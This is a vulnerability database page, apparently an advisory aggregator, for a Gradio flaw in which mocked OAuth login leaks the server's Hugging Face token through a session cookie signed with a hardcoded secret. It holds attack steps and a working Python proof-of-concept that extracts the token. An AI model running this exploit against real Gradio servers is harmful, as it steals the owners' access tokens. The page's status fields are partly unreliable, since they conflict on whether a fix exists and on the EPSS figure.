CVE-2026-27167

LOWPre-NVD 0.0Elevated
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: 0%CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.

Affected Component

gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).

The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):

request.session["oauth_info"] = mocked_oauth_info

The mocked_oauth_info dict contains the real token at key access_token (line 329):

return {
    "access_token": token,  # <-- real HF token from server
    ...
}

2. Hardcoded session signing secret

The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):

session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"

When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites

  • A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.)
  • The app is network-accessible (e.g. server_name="0.0.0.0", share=True, port forwarding, etc.)
  • The host machine has a Hugging Face token configured
  • OAUTH_CLIENT_SECRET is not set (default outside of Spaces)

Steps

  • Attacker sends a GET request to http://:7860/login/huggingface
  • The server responds with a 307 redirect to /login/callback
  • The attacker follows the redirect; the server sets a session cookie containing the real HF token
  • The attacker base64-decodes the cookie payload (everything before the first .) to extract the access_token

Minimal Vulnerable Application

import gradio as gr
from huggingface_hub import login

login(token="hf_xxx...")

def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}"

with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attach_load_event(hello, None)

demo.launch(server_name="0.0.0.0")

Proof of Concept

#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests

def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parse_args()

base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

# 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1)

# 2. Decode the cookie payload (base64 before the first ".") payload_b64 = cookie.split(".")[0] payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding data = json.loads(base64.b64decode(payload_b64)) token = data.get("oauth_info", {}).get("access_token")

if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No access_token found in session.", file=sys.stderr) sys.exit(1)

if __name__ == "__main__": main()

CVSS v3
EG Score
0.0(none)
EPSS
36.3%
KEV
Not listed

Published

March 1, 2026

Last Modified

March 1, 2026

Vendor Advisories for CVE-2026-27167(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
gradio4.16.0 ... 6.5.1 (149 versions)6.6.0

Data Freshness Timeline

(refreshed 9× in last 7d / 46× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-11 08:27 UTCEPSS rescore
  2. 2026-07-09 19:10 UTCEPSS rescore
  3. 2026-07-08 15:15 UTCEPSS rescore
  4. 2026-07-08 15:15 UTCEPSS rescore
  5. 2026-07-07 13:46 UTCEPSS rescore
  6. 2026-07-06 16:27 UTCEPSS rescore
  7. 2026-07-06 16:27 UTCEPSS rescore
  8. 2026-07-06 02:23 UTCEPSS rescore
  9. 2026-07-06 02:23 UTCEPSS rescore
  10. 2026-07-05 02:30 UTCEPSS rescore
  11. 2026-07-04 06:31 UTCEPSS rescore
  12. 2026-07-04 06:31 UTCEPSS rescore
  13. 2026-07-01 15:06 UTCEPSS rescore
  14. 2026-07-01 15:06 UTCEPSS rescore
  15. 2026-06-30 23:22 UTCEPSS rescore
  16. 2026-06-30 23:22 UTCEPSS rescore
  17. 2026-06-29 14:06 UTCEPSS rescore
  18. 2026-06-28 14:07 UTCEPSS rescore
  19. 2026-06-28 14:07 UTCEPSS rescore
  20. 2026-06-28 04:56 UTCEPSS rescore
  21. 2026-06-28 04:56 UTCEPSS rescore
  22. 2026-06-27 07:34 UTCOSV refresh
  23. 2026-06-27 03:08 UTCEPSS rescore
  24. 2026-06-25 13:49 UTCEPSS rescore
  25. 2026-06-25 13:49 UTCEPSS rescore
Show 37 more
  1. 2026-06-24 14:05 UTCEPSS rescore
  2. 2026-06-24 14:05 UTCEPSS rescore
  3. 2026-06-23 21:33 UTCEPSS rescore
  4. 2026-06-23 21:32 UTCEPSS rescore
  5. 2026-06-22 14:25 UTCEPSS rescore
  6. 2026-06-22 14:25 UTCEPSS rescore
  7. 2026-06-21 14:56 UTCEPSS rescore
  8. 2026-06-21 14:56 UTCEPSS rescore
  9. 2026-06-21 01:59 UTCEPSS rescore
  10. 2026-06-21 01:59 UTCEPSS rescore
  11. 2026-06-19 19:25 UTCEPSS rescore
  12. 2026-06-19 19:25 UTCEPSS rescore
  13. 2026-06-18 17:52 UTCEPSS rescore
  14. 2026-06-17 17:53 UTCEPSS rescore
  15. 2026-06-17 17:53 UTCEPSS rescore
  16. 2026-06-16 17:52 UTCEPSS rescore
  17. 2026-06-15 17:48 UTCEPSS rescore
  18. 2026-06-14 23:18 UTCEPSS rescore
  19. 2026-06-13 23:00 UTCEPSS rescore
  20. 2026-06-12 23:12 UTCEPSS rescore
  21. 2026-06-12 23:12 UTCEPSS rescore
  22. 2026-06-11 14:00 UTCEPSS rescore
  23. 2026-06-10 22:18 UTCEPSS rescore
  24. 2026-06-10 22:18 UTCEPSS rescore
  25. 2026-06-10 13:22 UTCEPSS rescore
  26. 2026-06-09 18:12 UTCEG score recompute
  27. 2026-06-08 14:17 UTCEPSS rescore
  28. 2026-06-08 14:17 UTCEPSS rescore
  29. 2026-06-07 15:25 UTCEPSS rescore
  30. 2026-06-07 15:25 UTCEPSS rescore
  31. 2026-06-07 15:25 UTCEPSS rescore
  32. 2026-06-06 13:47 UTCEPSS rescore
  33. 2026-06-06 13:47 UTCEPSS rescore
  34. 2026-06-05 22:47 UTCEPSS rescore
  35. 2026-06-05 22:47 UTCEPSS rescore
  36. 2026-06-05 17:57 UTCEG score recompute
  37. 2026-06-05 17:57 UTCOSV refresh

Frequently asked(4)

What is CVE-2026-27167?
CVE-2026-27167 is a low vulnerability published on March 1, 2026. Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret Summary Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the…
When was CVE-2026-27167 disclosed?
CVE-2026-27167 was first published in the National Vulnerability Database on March 1, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-27167 actively exploited?
CVE-2026-27167 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 36.3% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
How do I remediate CVE-2026-27167?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-27167, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-27167

Explore →

Is Your Infrastructure Affected by CVE-2026-27167?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.